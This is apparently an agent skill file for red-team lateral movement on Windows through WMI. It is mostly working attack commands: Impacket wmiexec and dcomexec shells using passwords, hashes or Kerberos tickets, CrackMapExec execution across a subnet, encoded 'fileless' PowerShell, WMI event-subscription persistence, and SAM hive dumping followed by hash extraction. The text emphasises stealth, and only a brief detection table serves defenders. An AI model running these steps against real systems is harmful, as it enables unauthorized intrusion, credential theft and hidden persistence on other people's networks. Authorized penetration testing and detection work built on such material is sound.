Agent Skills: Performing Lateral Movement with WMIExec

Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.

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Skill Metadata

Name
performing-lateral-movement-with-wmiexec
Description
Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.

Performing Lateral Movement with WMIExec

Overview

WMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.

Objectives

  • Execute remote commands on Windows targets using WMI-based techniques
  • Establish semi-interactive shells via Impacket wmiexec.py
  • Perform lateral movement with Pass-the-Hash using WMI
  • Use CrackMapExec for multi-target WMI command execution
  • Execute native PowerShell WMI commands for fileless lateral movement
  • Chain WMI with credential harvesting for network-wide access

MITRE ATT&CK Mapping

  • T1047 - Windows Management Instrumentation
  • T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
  • T1550.002 - Use Alternate Authentication Material: Pass the Hash
  • T1059.001 - Command and Scripting Interpreter: PowerShell
  • T1570 - Lateral Tool Transfer

Implementation Steps

Phase 1: WMIExec with Impacket

  1. Execute a semi-interactive shell with credentials:
    # With cleartext password
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50
    
    # With NT hash (Pass-the-Hash)
    wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/admin@10.10.10.50
    
    # With Kerberos ticket
    export KRB5CCNAME=admin.ccache
    wmiexec.py -k -no-pass domain.local/admin@TARGET01.domain.local
    
    # Execute specific command (non-interactive)
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all"
    
  2. Execute commands without output file (stealthier using DCOM):
    # Using dcomexec.py as alternative (MMC20.Application DCOM object)
    dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50
    
    # Using ShellWindows DCOM object
    dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
    

Phase 2: CrackMapExec Multi-Target Execution

  1. Execute commands across multiple targets:
    # Execute single command on subnet
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami"
    
    # Execute with hash
    crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig"
    
    # Execute PowerShell command
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process"
    
    # Check local admin access via WMI
    crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
    

Phase 3: Native WMI Commands (Windows)

  1. Execute remote commands using built-in Windows WMI tools:
    # Using wmic.exe (deprecated but still available)
    wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt"
    
    # Using PowerShell Invoke-WmiMethod
    $cred = Get-Credential
    Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
      -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt"
    
    # Using CIM sessions (modern replacement for WMI)
    $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred
    Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
      -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami"}
    
  2. Fileless PowerShell execution via WMI:
    # Execute encoded PowerShell command remotely
    $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\temp\procs.txt'))
    Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
      -Credential $cred -ArgumentList "powershell.exe -enc $cmd"
    

Phase 4: WMI-Based Persistence

  1. Create WMI event subscriptions for persistence:
    # Create WMI event subscription (command runs on every logon)
    $filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter `
      -Arguments @{Name="PersistFilter"; EventNamespace="root\cimv2";
                   QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
    
    $consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer `
      -Arguments @{Name="PersistConsumer"; CommandLineTemplate="cmd.exe /c <payload>"}
    
    Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding `
      -Arguments @{Filter=$filter; Consumer=$consumer}
    

Phase 5: Chaining with Credential Harvesting

  1. Use WMI for remote credential extraction:
    # Dump SAM hashes via WMI + reg save
    wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "reg save HKLM\SAM C:\temp\sam && reg save HKLM\SYSTEM C:\temp\system"
    
    # Download saved hives
    smbclient.py domain.local/admin:'Password123'@10.10.10.50
    > get C:\temp\sam
    > get C:\temp\system
    
    # Extract hashes from saved hives
    secretsdump.py -sam sam -system system LOCAL
    

Tools and Resources

| Tool | Purpose | Platform | |------|---------|----------| | wmiexec.py | Semi-interactive WMI shell (Impacket) | Linux (Python) | | dcomexec.py | DCOM-based remote execution (Impacket) | Linux (Python) | | CrackMapExec | Multi-target WMI execution | Linux (Python) | | wmic.exe | Native Windows WMI command-line tool | Windows | | PowerShell CIM | Modern WMI cmdlets | Windows | | SharpWMI | .NET WMI execution tool | Windows (.NET) |

WMI Execution Methods Comparison

| Method | Service Created | Output Method | Stealth Level | |--------|----------------|---------------|---------------| | wmiexec.py | No | Temp file on ADMIN$ | Medium | | dcomexec.py | No | Temp file on ADMIN$ | Medium-High | | wmic.exe | No | None (blind) or redirect | Medium | | PowerShell WMI | No | None (blind) or redirect | High | | PsExec (comparison) | Yes | Service output pipe | Low |

Detection Signatures

| Indicator | Detection Method | |-----------|-----------------| | Win32_Process.Create WMI calls | Event 4688 (process creation) with WMI parent process | | WMI temporary output files on ADMIN$ | File monitoring on ADMIN$ share for temp files | | Remote WMI connections (DCOM/135) | Network monitoring for DCOM traffic to workstations | | WmiPrvSE.exe spawning cmd.exe/powershell.exe | EDR process tree analysis | | Event 5857/5860/5861 | WMI Activity logs in Microsoft-Windows-WMI-Activity |

Validation Criteria

  • [ ] WMIExec shell established on remote target
  • [ ] Pass-the-Hash execution validated via WMI
  • [ ] Multi-target command execution via CrackMapExec WMI
  • [ ] Native PowerShell WMI commands executed remotely
  • [ ] Credential harvesting performed via WMI execution chain
  • [ ] No service creation artifacts on target systems
  • [ ] Evidence documented with command outputs and screenshots